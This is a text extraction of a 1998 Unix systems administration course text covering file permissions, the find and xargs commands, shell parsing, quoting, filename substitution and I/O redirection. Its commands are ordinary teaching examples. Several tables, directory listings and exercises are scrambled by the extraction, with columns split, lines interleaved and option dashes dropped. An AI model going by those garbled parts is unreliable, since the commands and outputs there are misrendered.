Assume that I have an account on the same UNIX machine as you we belong to different groups I want to allow you to access the text for assignment one I want you to copy your finished assignments into my directory But I don't want you to see anything else in my directories The following diagram represents part of my directory hierarchy including the file permissions for each directory.

Fig ur e 5 .4 Pe r missio ns and Dir e c to r ie s

David Jones, Bruce Jamieson (15/10/98)

Page 86

85321, Systems Administration

Chapter 5: Processes and Files

David Jones, Bruce Jamieson (15/10/98)

Page 87

85321, Systems Administration

Chapter 5: Processes and Files

What happens if?

What happens if you try the following commands ls -l david To perform an ls you must have read permission on the directory. In this case you don't. Only myself, as the owner of the file has read permission, so only I can obtain a listing of the files in my directory. cat david/phone.book Youre trying to have a look at my phone book but you can't. You have permission to do things to files in my directory because you have execute permission on the directory david. However the permissions on the phone.book file mean that only I can read it. The same things occurs if you try the command cp david/phone.book ~/phone.book. To the file system you are trying to do the same thing, read the file phone.book. ls david/85321 The permissions are set up so you can get a listing of the files in the david/85321 directory. Notice you have read permission on the 85321 directory. cat david/85321/assign.txt Here you're trying to have a look at the assignment text. This will work. You have read permission on the file so you can read it. You have execute permission on the directories 85321 and david which means you can gain access to files and directories within those directories (if the permissions on the files let you). cat david/85321/solutions/assign1.sol Trying to steal a look at the solutions? Well you have the permissions on the file to do this. But you don't have the permissions on the directory solutions so this will fail. What would happen if I executed this command chmod o+r david/85321/solutions This would add read permission for you to the directory solutions. Can you read the assign1.sol file now? No you can't. To read the file or do anything with a file you must have execute permission on the directory it is in. cp my.assign david/85321/assign.txt What's this? Trying to replace my assignment with one of your own? Will this work? No because you don't have write permission for the file assign.txt.

Links
Hard and soft links A reading describing links, both hard and soft, is included on the 85321 Web site/CD-ROM under the resource materials section for week 2.

David Jones, Bruce Jamieson (15/10/98)

Page 88

85321, Systems Administration

Chapter 5: Processes and Files

Searching the file hierarchy

A common task for a Systems Administrator is searching the UNIX file hierarchy for files which match certain criteria. Some common examples of what and why a Systems Administrator may wish to do this include searching for very large files finding where on the disk a particular file is deleting all the files owned by a particular user displaying the names of all files modified in the last two days. Given the size of the UNIX file hierarchy and the number of files it contains this isnt a task that can be done by hand. This is where the find command becomes useful.

The find command

The find command is used to search through the directories of a file system looking for files that match a specific criteria. Once a file matching the criteria is found the find command can be told to perform a number of different tasks including running any UNIX command on the file.
find command format

The format for the find command is

find [path-list] [expression]

path-list is a list of directories in which the find command will search for

files. The command will recursively descend through all sub-directories under these directories. The expression component is explained in the next section. Both the path and the expression are optional. If you run the find command without any parameters it uses a default path, the current directory, and a default expression, print the name of the file. The following is an example of what happens
dinbig:~$ find . ./iAm ./iAm.c ./parameters ./numbers ./pass ./func ./func2 ./func3 ./pattern ./Adirectory ./Adirectory/oneFile

The default path is the current directory. In this example the find command has recursively searched through all the directories within the current directory.

David Jones, Bruce Jamieson (15/10/98)

Page 89

85321, Systems Administration

Chapter 5: Processes and Files

The default expression is -print. This is a find command that tells the find command to display the name of all the files it found. Since there was no test specified the find command matched all files.
find expressions

A find expression can contain the following components options, These modify the way in which the find command operates. tests, These decide whether or not the current file is the one you are looking for. actions, Specify what to do once a file has been selected by the tests. and operators. Used to group expressions together. find options Options are normally placed at the start of an expression. Table 5.6 summarises some of the find commands options. Option
-daystart -depth -maxdepth number -mindepth number -mount -xdev

Effect for tests using time measure time from the beginning of today process the contents of a directory before the directory number is a positive integer that specifies the maximum number of directories to descend number is a positive integer that specifies at which level to start applying tests don't cross over to other partitions don't cross over to other partitions
find
Table 5 .6 o ptio ns

For example The following are two examples of using find's options. Since I don't specify a path in which to start searching the default value, the current directory, is used.
dinbig:~$ find -mindepth 2 ./Adirectory/oneFile

In this example the mindepth option tells find to only find files or directories which are at least two directories below the starting point.
dinbig:~$ find -maxdepth 1 . ./iAm ./iAm.c ./parameters ./numbers ./pass ./func ./func2 ./func3

David Jones, Bruce Jamieson (15/10/98)

Page 90

85321, Systems Administration

Chapter 5: Processes and Files

./pattern ./Adirectory

This option restricts find to those files which are in the current directory.
find tests

Tests are used to find particular files based on when the file was last accessed when the file's status was last changed when the file was last modified the size of the file the file's type the owner or group owner of the file the file's name the file's inode number the number and type of links the file has to it the file's permissions Table 5.7 summarises find's tests. A number of the tests take numeric values. For example, the number of days since a file was modified. For these situations the numeric value can be specified using one of the following formats (in the following n is a number) +n greater than n -n less than n n equal to n For example Some examples of using tests are shown below. Note that in all these examples no command is used. Therefore the find command uses the default command which is to print the names of the files. find . -user david Find all the files under the current directory owned by the user david find / -name \*.html Find all the files one the entire file system that end in .html. Notice that the * must be quoted so that the shell doesn't interpret it (explained in more detail below). Instead we want the shell to pass the *.html to the find command and have it match filenames. find /home -size +2500k -mtime -7 Find all the files under the /home directory that are greater than 2500 kilobytes in size and have been in modified in the last seven days. The last example shows it is possible to combine multiple tests. It is also an example of using numeric values. The +2500 will match any value greater than 2500. The -7 will match any value less than 7.

David Jones, Bruce Jamieson (15/10/98)

Page 91

85321, Systems Administration

Chapter 5: Processes and Files

Shell special characters The shell is the program which implements the UNIX command line interface at which you use these commands. Before executing commands the shell looks for special characters. If it finds any it performs some special operations. In some cases, like the previous command, you don't want the shell to do this. So you quote the special characters. This process is explained in more detail in the following chapter.

Test
-amin n -anewer file -atime n -cmin n -cnewer file -ctime n -mmin n -mtime n -name pattern

Effect file last access n minutes ago the current file was access more recently than file file last accessed n days ago file's status was changed n minutes ago the current file's status was changed more recently than file's file's status was last changed n days ago file's data was last modified n minutes ago the current file's data was modified n days ago the name of the file matches pattern -iname is a case insensitive version of name -regex allows the use of REs to match filename the file's UID or GID does not match a valid user or group the file's permissions match mode (either symbolic or numeric) the file uses n units of space, b is blocks, c is bytes, k is kilobytes the file is of type c where c can be block device file, character device file, directory, named pipe, regular file, symbolic link, socket the file's UID or GID matches n the file is owned by the user with name uname
Table

-nouser-nogroup -perm mode -size n[bck] -type c

-uid n -gid n -user uname

find find actions

5 .7 te sts

Once you've found the files you were looking for you want to do something with them. The find command provides a number of actions most of which allow you to either execute a command on the file, or display the name and other information about the file in a variety of formats For the various find actions that display information about the file you are urged to examine the manual page for find

David Jones, Bruce Jamieson (15/10/98)

Page 92

85321, Systems Administration

Chapter 5: Processes and Files

Executing a command
find has two actions that will execute a command on the files found. They are -exec and -ok.

The format to use them is as follows

-exec command ; -ok command ;

command is any UNIX command.

The main difference between exec and ok is that ok will ask the user before executing the command. exec just does it. For example Some examples of using the exec and ok actions include find . -exec grep hello \{\} \; Search all the files under the local directory for the word hello. find / -name \*.bak -ok rm \{\} \; Find all files ending with .bak and ask the user if they wish to delete those files.
{} and ;

The exec and ok actions of the find command make special use of {} and ; characters. Since both {} and ; have special meaning to the shell they must be quoted when used with the find command.
{} is used to refer to the file that find has just tested. So in the last example rm \{\} will delete each file that the find tests match.

The ; is used to indicate the end of the command to be executed by exec or ok.

Exercises
5.11

As was mentioned above the {} and ; used in the exec and ok actions of the find command must be quoted. As a group decide why the following command doesn't work.
find . -name \*.bak -ok rm '{} ;' Use find to print the names of every file on your file system that has nothing in it find where the file XF86Config is

5.12

David Jones, Bruce Jamieson (15/10/98)

Page 93

85321, Systems Administration

Chapter 5: Processes and Files

Performing commands on many files

Every UNIX command you execute requires a new process to be created. Creating a new process is a fairly heavyweight procedure for the operating system and can take quite some time. When you are performing a task it can save time if you minimise the number of new processes which are created. It is common for a Systems Administrator to want to perform some task which requires a large number of processes. Some uses of the find command offer a good example. For example Take the requirement to find all the HTML files on a Web site which contain the word expired. There are at least three different ways we can do this using the find command and the -exec switch, using the find command and back quotes ``, using the find command and the xargs command. In the following we'll look at each of these. More than one way to do something One of the characteristics of the UNIX operating system is that there is always more than one way to perform some task.
find

and -exec

We'll assume the files we are talking about in each of these examples are contained in the directory /usr/local/www
find /usr/local/www -name \*.html -exec grep -l expired \{\} \;

The -l switch of grep causes it to display the filename of any file in which it finds a match. So this command will list the names of all the files containing expired. While this works there is a slight problem, it is inefficient. These commands work as follows find searches through the directory structure, everytime it finds a file that matches the test (in this example that it has the extension html) it will run the appropriate command the operating system creates a new process for the command, once the command has executed for that file it dies and the operating system must clean up, now we restart at the top with find looking for the appropriate file On any decent Web site it is possible that there will be tens and even hundreds of thousands of HTML files. This implies that this command will result in hundreds of thousands of processes being created. This can take quite some time.

David Jones, Bruce Jamieson (15/10/98)

Page 94

85321, Systems Administration

Chapter 5: Processes and Files

find

and back quotes

A solution to this is to find all the matching files first, and then pass them to a single grep command.
grep -l expired `find /usr/local/www -name \*.html`

In this example there are only two processes created. One for the find command and one for the grep. Back quotes Back quotes `` are an example of the shell special characters mentioned previously. When the shell sees `` characters it knows it must execute the command enclosed by the `` and then replace the command with the output of the command. In the above example the shell will execute the find command which is enclosed by the `` characters. It will then replace the
`find /usr/local/www -name \*.html` with the output of the command. Now the shell executes the grep command.
Back quotes are explained in more detail in the next chapter.

To show the difference that this makes you can use the time command. time is used to record how long it takes for a command to finish (and a few other stats). The following is an example from which you can see the significant difference in time and resources used by reducing the number of processes.
beldin:~$ time grep -l expired `find 85321/* -name index.html` 0.04user 0.22system 0:02.86elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (0major+0minor)pagefaults 0swaps beldin:~$ time find 85321/* -name index.html -exec grep -l expired \{\} \; 1.33user 1.90system 0:03.55elapsed 90%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (0major+0minor)pagefaults 0swaps

The time command can also report a great deal more information about a process and its interaction with the operating system. Especially if you use the verbose option (time v some_command)
find

and xargs

While in many cases the combination of find and back quotes will work perfectly, this method has one serious drawback as demonstrated in the following example.
beldin:~$ grep -l expired `find 85321/* -name \*` bash: /usr/bin/grep: Arg list too long

The problem here is that a command line can only be so long. In the above example the find command found so many files that the names of these files exceeded the limit. This is where the xargs command enters the picture.

David Jones, Bruce Jamieson (15/10/98)

Page 95

85321, Systems Administration

Chapter 5: Processes and Files

Rather than pass the list of filenames as a parameter to the command, xargs allows the list of filenames to be passed as standard input (standard input is explained in more detail in a following chapter). This means we side-step the problem of exceeding the number of parameters. Have a look at the man page for xargs for more information. Here is the example rewritten to use xargs
find /usr/local/www -name \* | xargs grep -l expired

There are now three processes created, find, xargs and grep. However it does avoid the problem of the argument list being too long.

Conclusion
UNIX is a multi-user operating system and as such must provide mechanisms to uniquely identify users and protect the resources of one user from other users. Under UNIX users are uniquely identified by a username and a user identifier (UID). The relationship between username and UID is specified in the /etc/passwd file. UNIX also provides the ability to collect users into groups. A user belongs to at least one group specified in the /etc/passwd file but can also belong to other groups specified in the /etc/group file. Each group is identified by both a group name and a group identifier (GID). The relationship between group name and GID is specified in the /etc/group file. All work performed on a UNIX computer is performed by processes. Each process has a real UID/GID pair and an effective UID/GID pair. The real UID/GID match the UID/GID of the user who started the process and are used for accounting purposes. The effective UID/GID are used for deciding the permissions of the process. While the effective UID/GID are normally the same as the real UID/GID it is possible using the setuid/setgid file permissions to change the effective UID/GID so that it matches the UID and GID of the file containing the process' code. The UNIX file system uses a data structure called an inode to store information about a file including file type, file permissions, UID, GID, number of links, file size, date last modified and where the files data is stored on disk. A file's name is stored in the directory which contains it. A file's permissions can be represented using either symbolic or numeric modes. Valid operations on a file include read, write and execute. Users wishing to perform an operation on a file belong to one of three categories the user who owns the file, the group that owns the file and anyone (other) not in the first two categories. A file's permissions can only be changed by the user who owns the file and are changed using the chmod command. The owner of a file can only be changed by the root user using the chown command. The group owner of a file can be changed by root user or by the owner of the file using the chgrp command. The file's owner can only change the group to another group she belongs to.

David Jones, Bruce Jamieson (15/10/98)

Page 96

85321, Systems Administration

Chapter 5: Processes and Files

Links both hard and soft are mechanisms by which more than one filename can be used to refer to the same file.

Review Questions
5.1 For each of the following commands indicate whether they are built-in shell commands, "normal" UNIX commands or not valid commands. If they are "normal" UNIX commands indicate where the command's executable program is located. alias history rename last

5.2 How would you find out what your UID, GID and the groups you currently belong to? 5.3 Assume that you are logged in with the username david and that your current directory contains the following files
bash# ls il total 2 103807 -rw-r--r-103808 -rwsr--r-103806 -rw-r--r-103807 -rw-r--r-2 1 1 2 david root david david users 0 Aug users 0 Aug users 2032 Aug users 0 Aug 25 25 22 25 13:24 14:11 11:42 13:24 agenda.doc meeting minutes.txt old_agenda

For each of the following commands indicate whether or not it will work, if it works specify how the above directory listing will change, if it doesn't work why?
chmod 777 minutes.txt chmod u+w agenda.doc chmod o-x meeting chmod u+s minutes.txt ln -s meeting new_meeting chown root old_agenda

5.4 Assume that the following files exist in the current directory.
bash$ total 32845 32845 32847 ls -li 1 -rw-r--r--rw-r--r-lrwxr-xr-x

2 jonesd 2 jonesd 1 jonesd

users users users

0 Apr 0 Apr 10 Apr

6 15:38 cq_uni_doc 6 15:38 cqu_union 6 15:38 osborne ->

David Jones, Bruce Jamieson (15/10/98)

Page 97

85321, Systems Administration

Chapter 5: Processes and Files

cq_uni_doc

For each of the following commands explain how the output of the command ls -li will change AFTER the command has been executed. Assume that that each command starts with the above information For example, after the command mv cq_uni_doc CQ.DOC the only change would be that entry for the file cq_uni_doc would change to
32845 -rw-r--r-2 jonesd users 0 Apr 6 15:38 CQ.DOC

chmod a-x osborne chmod 770 cqu_union rm cqu_union rm cqu_uni_doc

The files cq_uni_doc and cqu_union both point to the same file using a hard link. Above I have stated that if you execute the command mv cq_uni_doc CQ.DOC the only thing that changes is the name of the file cq_uni_doc. Why doesn't the name of the file cqu_union change also?

David Jones, Bruce Jamieson (15/10/98)

Page 98

85321, Systems Administration

Chapter 6: The shell

Chapter
Introduction

The Shell

You will hear many people complain that the UNIX operating system is hard to use. They are wrong. What they actually mean to say is that the UNIX command line interface is difficult to use. This is the interface that many people think is UNIX. In fact, this command line interface, provided by a program called a shell, is not the UNIX operating system and it is only one of the many different interfaces that you can use to perform tasks under UNIX. By this stage many of you will have used some of the graphical user interfaces provided by the X-Windows system. The shell interface is a powerful tool for a Systems Administrator and one that is often used. This chapter introduces you to the shell, its facilities and advantages. It is important to realise that the shell is just another UNIX command and that there are many different sorts of shell. The responsibilities of the shell include providing the command line interface performing I/O redirection performing filename substitution performing variable substitution and providing an interpreted programming language The aim of this chapter is to introduce you to the shell and the first four of the responsibilities listed above. The interpreted programming language provided by a shell is the topic of chapter 8.

Executing Commands
As mentioned previously the commands you use such as ls and cd are stored on a UNIX computer as executable files. How are these files executed? This is one of the major responsibilities of a shell. The command line interface at which you type commands is provided by the particular shell program you are using (under Linux you will usually be using a shell called bash). When you type a command at this interface and hit enter the shell performs the following steps wait for the user to enter a command perform a number of tasks if the command contains any special characters find the executable file for the command, if the file can't be found generate an error message fork off a child process that will execute the command,

David Jones, Bruce Jamieson (15/10/98)

Page 99

85321, Systems Administration

Chapter 6: The shell

wait until the command is finished (the child process dies) and then return to the top of the list

Different shells
There are many different types of shells. Table 6.1 provides a list of some of the more popular UNIX shells. Under Linux most users will be using bash, the Bourne Again Shell. bash is an extension of the Bourne shell and uses the Bourne shell syntax. All of the examples in this text are written using the bash syntax. All shells fulfil the same basic responsibilities. The main differences between shells include the extra features provided Many shells provide command history, command line editing, command completion and other special features. the syntax Different shells use slightly different syntax for some commands. Shell Bourne shell C shell Korn shell Bourne again shell Program name
sh csh ksh bash

Description the original shell from AT&T, available on all UNIX machines shell developed as part of BSD UNIX AT&T improvement of the Bourne shell Shell distributed with Linux, version of Bourne shell that includes command line editing and other nice things

Table 6 .1 Diffe r e nt UNIX she lls

Starting a shell
When you log onto a UNIX machine the UNIX login process automatically executes a shell for you. Which shell is executed is defined in the last field of your entry in the /etc/passwd file. The last field of every line of /etc/passwd specifies which program to execute when the user logs in. The program is usually a shell (but it doesn't have to be). Exercises
6.1

What shell is started when you login?

David Jones, Bruce Jamieson (15/10/98)

Page 100

85321, Systems Administration

Chapter 6: The shell

The shell itself is just another executable program. This means you can choose to run another shell in the same way you would run any other command by simply typing in the name of the executable file. When you do the shell you are currently running will find the program and execute it. To exit a shell any of the following may work (depending on how your environment is set up). logout exit CTRL-D By default control D is the end of file (EOF) marker in UNIX. By pressing CTRL-D you are telling the shell that it has reached the end of the file and so it exits. In a later chapter which examines shell programming you will see why shells work with files. For example The following is a simple example of starting other shells. Most different shells use a different command-line prompt.
bash$ sh $ csh % tcsh > exit % $ bash$

In the above my original login shell is bash. A number of different shells are then started up. Each new shell in this example changes the prompt (this doesn't always happen). After starting up the tcsh shell I've then exited out of all the new shells and returned to the original bash.

Parsing the command line

The first task the shell performs when you enter a command is to parse the command line. This means the shell takes what you typed in and breaks it up into components and also changes the command-line if certain special characters exist. Table 6.2 lists most of the special characters which the shell recognises and the meaning the shell places on these characters. In the following discussion the effect of this meaning and what the shell does with these special characters will be explained in more detail.

David Jones, Bruce Jamieson (15/10/98)

Page 101

85321, Systems Administration

Chapter 6: The shell

Character(s)
white space

newline character ' " \ & < >> << ` | * ? [ ] [^ $ ;

Meaning Any white space characters (tabs, spaces) are used to separate arguments multiple white space characters are ignored used to indicate the end of the commandline special quote characters that change the way the shell interprets special characters Used after a command, tells the shell to run the command in the background I/O redirection characters filename substitution characters indicate a shell variable used to separate multiple commands on the one line
Table spe c ial 6 .2 c har ac te r s

She ll

The Command Line

The following section examines, and attempts to explain, the special shell characters which influence the command line. This influence includes breaking the command line into arguments allows more than one command to a line allows commands to be run in the background

Arguments
One of the first steps for the shell is to break the line of text entered by the user into arguments. This is usually the task of whitespace characters. What will the following command display?
echo hello there my friend

It won't display
hello there my friend

instead it will display

hello there my friend

When the shell examines the text of a command it divides it into the command and a list of arguments. A white space character separates the command and each argument. Any duplicate white space characters are ignored. The following diagram demonstrates.

David Jones, Bruce Jamieson (15/10/98)

Page 102

85321, Systems Administration

Chapter 6: The shell

She lls,

Fig ur e 6 .1 white spac e and

ar g ume nts

Eventually the shell will execute the command. The shell passes to the command a list of arguments. The command then proceeds to perform its function. In the case above the command the user entered was the echo command. The purpose of the echo command is to display each of its arguments onto the screen separated by a single space character. The important part here is that the echo command never sees all the extra space characters between hello and there. The shell removes this whilst it is performing its parsing of the command line.

One command to a line

The second shell special character in Table 6.2 is the newline character. The newline character tells the shell that the user has finished entering a command and that the shell should start parsing and then executing the command. The shell makes a number of assumptions about the command line a user has entered including there is only one command to each line the shell should not present the next command prompt until the command the user entered is finished executing. This section examines how some of the shell special characters can be used to change these assumptions. Multiple commands to a line The ; character can be used to place multiple commands onto the one line.
ls ; cd /etc ; ls

The shell sees the ; characters and knows that this indicates the end of one command and the start of another.

David Jones, Bruce Jamieson (15/10/98)

Page 103

85321, Systems Administration

Chapter 6: The shell

Commands in the background

By default the shell will wait until the command it is running for the user has finished executing before presenting the next command line prompt. This default operation can be changed by using the & character. The & character tells the shell that it should immediately present the next command line prompt and run the command in the background. This provides major benefits if the command you are executing is going to take a long time to complete. Running it in the background allows you to go on and perform other commands without having to wait for it to complete. However, you wont wish to use this all the time as some confusion between the output of the command running in the background and shell command prompt can occur. For example The sleep command usually takes on argument, a number. This number represents the number of seconds the sleep command should wait before finishing. Try the following commands on your system to see the difference the & character can make.
bash$ sleep 10 bash$ sleep 10 &

Filename substitution
In the great majority of situations you will want to use UNIX commands to manipulate files and directories in some way. To make it easier to manipulate large numbers of commands the UNIX shell recognises a number of characters which should be replaced by filenames. This process is called ether filename substitution or filename globing. For example You have a directory which contains HTML files (an extension of .html), GIF files (an extension of .gif), JPEG files (an extension .jpg) and a range of other files. You wish to find out how big all the HTML files are. The hard way to do this is to use the ls l command and type in all the filenames. The simple method is to use the shell special character *, which represents any 0 or more characters in a file name
ls l *.html

In the above, the shell sees the * character and recognises it as a shell special character. The shell knows that it should replace *.html with any files that

David Jones, Bruce Jamieson (15/10/98)

Page 104

85321, Systems Administration

Chapter 6: The shell

have filenames which match. That is, have 0 or more characters, followed by .html UNIX doesnt use extensions MS-DOS and Windows treat a files extension as special. UNIX does not do this. Table 6.3 lists the other shell special characters which are used in filename substitution. Character
* ? [ ] [^ ]

What it matches
0 or more characters 1 character matches any one character between the brackets matches any one character NOT in the brackets
Table 6 .3 substitutio n spe c ial c har ac te r s

File name

Some examples of filename substitution include cat * * will be replaced by the names of all the files and directories in the current directory. The cat command will then display the contents of all those files. ls a*bc a*bc matches all filenames that start with a, end with bc and have any characters in between. ls a?bc a?bc matches all filenames that start with a, end with bc and have only ONE character in between. ls [ic]??? [ic]??? matches any filename that starts with either a i or c followed by any other three letters. ls [^ic]??? Same as the previous command but instead of any file that starts with i or c match any file that DOESN'T start with i or c.

David Jones, Bruce Jamieson (15/10/98)

Page 105

85321, Systems Administration

Chapter 6: The shell

Exercises
6.2

Given the following files in your current directory:

$ ls feb86 jan12.89 jan19.89 jan26.89 jan5.89 jan85 jan86 jan87 jan88 mar88 memo1 memo10 memo2 memo2.sv

What would be the output from the following commands?

echo echo echo echo echo echo echo echo echo echo * *[^0-9] m[a-df-z]* [A-Z]* jan* *.* ????? *89 jan?? feb?? mar?? [fjm][ae][bnr]

Removing special meaning

There will be times when you wont want to use the shell special characters as shell special characters. For example, what happens if you really do want to display
hello there my friend

How do you do it? It's for circumstances like this that the shell provides shell special characters called quotes. The quote characters ' " \ tell the shell to ignore the meaning of any shell special character. To display the above you could use the command
echo 'hello there my friend'

The first quote character ' tells the shell to ignore the meaning of any special character between it and the next '. In this case it will ignore the meaning of the multiple space characters. So the echo command receives one argument instead of four separate arguments. The following diagram demonstrates.

David Jones, Bruce Jamieson (15/10/98)

Page 106

85321, Systems Administration

Chapter 6: The shell

She lls,

Fig ur e 6 .2 c o mmands and

quo te s

Table 6.4 lists each of the shell quote characters, their names and how the influence the shell. Character
'

Name single quote

"

double quote

backslash

Action the shell will ignore all special characters contained within a pair of single quotes the shell will ignore all special characters EXCEPT $ ` \ contained within a pair of double quotes the shell ignores any special character immediately following a backslash

Table 6 .4 Quo te c har ac te r s

Examples with quotes Try the following commands and observe what happens echo I'm David.
This causes an error because the quote character must be used as one of a pair. Since this line doesnt have a second character the shell continues to ignore all the shell special characters it sees, including the new line character which indicates the end of a command. echo I\'m David.

echo * echo '*' echo \* The previous three show two different approaches to removing the special meaning from a single character. echo one two three four

This is the correct implementation of what was attempted above. The \ quote character is used to remove the special meaning of the character so it is used as a normal character

David Jones, Bruce Jamieson (15/10/98)

Page 107

85321, Systems Administration

Chapter 6: The shell

echo 'one two three four' echo "one two three four" echo hello there \
my name is david Here the \ is used to ignore the special meaning of the newline character at

echo files = ; ls echo files = \; ls Since the special meaning of the ; character is removed by the \ character means that the shell no longer assumes there are two commands on this line. This means the ls characters are treated simply as normal characters, not a command which must be executed. Exercises
6.3

the end of the first line. This will only work if the newline character is immediately after the \ character. Remember, the \ character only removes the special meaning from the next character.

Create files with the following names

stars* -top hello my friend "goodbye"

Now delete them.

Input/output redirection
As the name suggests input/output (I/O) redirection is about changing the source of input or destination of output. UNIX I/O redirection is very similar (in part) to MS-DOS I/O redirection (guess who stole from who). I/O redirection, when combined with the UNIX philosophy of writing commands to perform one task, is one of the most important and useful combinations in UNIX.

How it works
All I/O on a UNIX system is achieved using files. This includes I/O to the screen and from a keyboard. Every process under UNIX will open a number of different files. To keep a track of the files it has, a process maintains a file descriptor for every file it is using.

David Jones, Bruce Jamieson (15/10/98)

Page 108

85321, Systems Administration

Chapter 6: The shell

File descriptors
A file descriptor is a small, non-negative integer. When a process reads/writes to/from a file it passes the kernel the file descriptor and asks it to perform the operation. The kernel knows which file the file descriptor refers to.

Standard file descriptors

Whenever the shell runs a new program (that is when it creates a new process) it automatically opens three file descriptors for the new process. These file descriptors are assigned the numbers 0, 1 and 2 (numbers from then on are used by file descriptors the process uses). The following table summarises their names, number and default destination. Name standard input (stdin) standard output (stdout) standard error (stderr) File descriptor 0 1 2 Default destination the keyboard the screen the screen

Table 6 .5 Standar d file de sc r ipto r s

By default whenever a command asks for input it takes that input from standard input. Whenever it produces output it puts that output onto standard output and if the command generates errors then the error messages are placed onto standard error.

Changing direction
By using the special characters in the table below it is possible to tell the shell to change the destination for standard input, output and error. For example
cat /etc/passwd > hello

tells the shell rather than send the contents of the /etc/passwd file to standard output, it should send it to a file called hello.

David Jones, Bruce Jamieson (15/10/98)

Page 109

85321, Systems Administration

Chapter 6: The shell

Character(s)
Command < file Command > file Command >> file command << label

`command` command1 | command2 command1 2> file

command1 >& file_descriptor

Result Take standard input from file Place output of command into file. Overwrite anything already in the file. Append the output of command into file. Take standard input for command from the following lines until a line that contains label by itself execute command and replace `command` with the output of the command pass the output of command1 to the input of command2 redirect standard error of command1 to file. The 2 can actually be replaced by any number which represents a file descriptor redirect output of command1 to a file_descriptor (the actual number for the file descriptor)

I/O

Table 6 .6 r e dir e c tio n c o nstr uc ts

Using standard I/O

Not all commands use standard input and standard output. For example the cd command doesn't take any input and doesn't produce any output. It simply takes the name of a directory as an argument and changes to that directory. It does however use standard error if it can't change into the directory. It doesn't make sense to redirect the I/O of some commands

Filters
On the other hand some commands will always take their input from standard input and put their output onto standard output. All of the filters discussed in a previous chapter act this way. As an example lets take the cat command mentioned previously. If you execute the cat command without supplying it with any parameters it will take its input from standard input and place its output onto standard output. Try it. Execute the command cat with no arguments. Hit CTRL-D, on a line by itself,to signal the end of input. You should find that cat echoes back to the screen every line you type. Try the same experiment with the other filters mentioned earlier.

David Jones, Bruce Jamieson (15/10/98)

Page 110

85321, Systems Administration

Chapter 6: The shell

I/O redirection examples

ls > the.files Create a file the.files that contains the list of files in the current directory. cat the.files | more Same effect as the command more the.files. Display the content of the file the.files one page at a time. ls /etc >> the.files Add the list of files in from the /etc directory onto the end of the file the.files. echo number of lines in the.files = `wc -l the.files` Execute the command wc -l the.files. Replace it with its output and then execute the echo command. Will display output similar to number of
lines in the.files = 66

cat << finished > input Ask the user to type in information until they enter a line with just finished on it. Then copy all the information entered by the user into the file called input cd /etc > output.file Create an empty file called output.file. The cd command generates no output so redirecting its output creates an empty file. ls | cd An error message. cd doesn't accept input so when the shell tries to send the output of the ls command to the cd command it doesn't work. echo `wc -l /etc/passwd` Execute the wc command and pass its output to the echo command as arguments.

Redirecting standard error

There will be times where you wish to either throw standard error away, join standard error and standard output, or just view standard error. This section provides examples of how this can be accomplished using I/O redirection. $ ls xx the file xx doesn't exist /bin/ls: xx: No such file or display an error message on standard directory error
$ ls xx > errors /bin/ls: xx: No such file or directory $ ls xx 2> errors

redirect standard output to the file errors, no change redirect standard error to the file errors nothing on the screen

David Jones, Bruce Jamieson (15/10/98)

Page 111

85321, Systems Administration

Chapter 6: The shell

$ ls chap1.ps xx 2> errors chap1.ps

file chap1.ps does exist so we get output but the errors still go to the file try to send both stdout and stderr to the errors file, but stdout doesn't go try a different order and it does work, why?

$ ls chap1.ps xx >& 2 2> errors chap1.ps $ ls chap1.ps xx 2> errors >& 2 $

Evaluating from left to right

The shell evaluates arguments from left to right, that is it works with each argument starting with those from the left. This can influence how you might want to use the I/O redirection special characters. For example An example of how this influences how you use I/O redirection is the situation where you wish to send both standard output and standard error of a command to the same file. A first attempt at this might be the following. This example is attempting to view the attributes of the two files chap1.ps and xx. The idea is that the file xx does not exist so the ls command will generate an error when it cant find the file. Both the error and the file attributes of the chap1.ps file are meant to be sent to a file called errors. It wont work. Try it on your system. Can you explain why?
$ ls l chap1.ps xx >& 2 2> output.and.errors chap1.ps

The reason it doesnt work is that the shell evaluates the command from left to right. The order of evaluation then is ls The first argument tells the shell what command should be executed. -l The shell wont recognise any special characters in this argument so it will pass it on directly to the command. chap1.ps Again the shell wont see any shell special characters and so passes this argument directly onto the command. xx Same again. >&2 Now some action. The shell recognises some special characters here. It knows that >& are I/O redirection characters. These characters tell the shell that it should redirect standard output for this command to the same place as standard error. (The 2 is the file descriptor for standard error. There is

David Jones, Bruce Jamieson (15/10/98)

Page 112

85321, Systems Administration

Chapter 6: The shell

no number associated with the > character so standard output is assumed). The current location standard error is pointing to is the processs terminal. So standard output goes to the process terminal. No change from normal. 2> Again the shell will see shell special characters. In this case, the shell knows that standard error should be redirected to the location specified in the next argument. output.and.errors This is where the shell will send the standard error of the command, a file called output.and.errors. The outcome of this is that standard output still goes to the terminal and standard error goes to the file output.and.errors. What we wanted is for both standard output and standard error to go to the file. The problem is the order in which the shell evaluated the arguments. The solution is to switch the I/O redirection shell characters.
$ ls l chap1.ps xx 2> output.and.errors >&2

Changing the order means that standard error is redirected to the file output.and.errors and then standard output is redirected to where standard error is pointing (the same file).

Everything is a file
One of the features of the UNIX operating system is that almost everything can be treated as a file. This combined with I/O redirection allows you to achieve some powerful and interesting results. You've already seen that by default stdin is the keyboard and stdout is the screen of your terminal. The UNIX operating system treats these devices as files (remember the shell sets up file descriptors for standard input/output). But which file is used?
tty

The tty command is used to display the filename of the terminal you are using.
$ tty /dev/ttyp1

In the above example my terminal is accessed through the file /dev/ttyp1. This means if I execute the following command
cat /etc/passwd > /dev/ttyp1

standard output will be redirected to /dev/ttyp1 which is where it would've gone anyway.

David Jones, Bruce Jamieson (15/10/98)

Page 113

85321, Systems Administration

Chapter 6: The shell

Exercises
6.4

What would the following command do? ls > `tty`

Device files
/dev/ttyp1 is an example of a device file. A device file is a interface to one of

the kernel's device drivers. A device driver is a part of the Linux kernel. It knows how to talk to a specific hardware device and presents a standard programming interface that is used by software. When you redirect I/O to/from a device file the information is passed through the device file, to the device driver and eventually to the hardware device or peripheral. In the previous example the contents of the /etc/passwd file were sent through the device file /dev/ttyp1, to a device driver. The device driver then displayed it on an appropriate device.
/dev

All of the system's device files will be stored under the directory /dev. A standard Linux system is likely to have over 600 different device files. The following table summarises some of the device files. filename
/dev/hda

purpose The first IDE disk drive The first SCSI disk drive Sound card First floppy drive

filename
/dev/hda1

/dev/sda /dev/audio /dev/fd0

/dev/sda1 /dev/cdrom /dev/ttyS1

purpose the first partition on the first IDE disk drive the first partition on the first SCSI drive CD-ROM drive the second serial port

Table 6 .7 Example de v ic e

file s

Redirecting I/O to device files

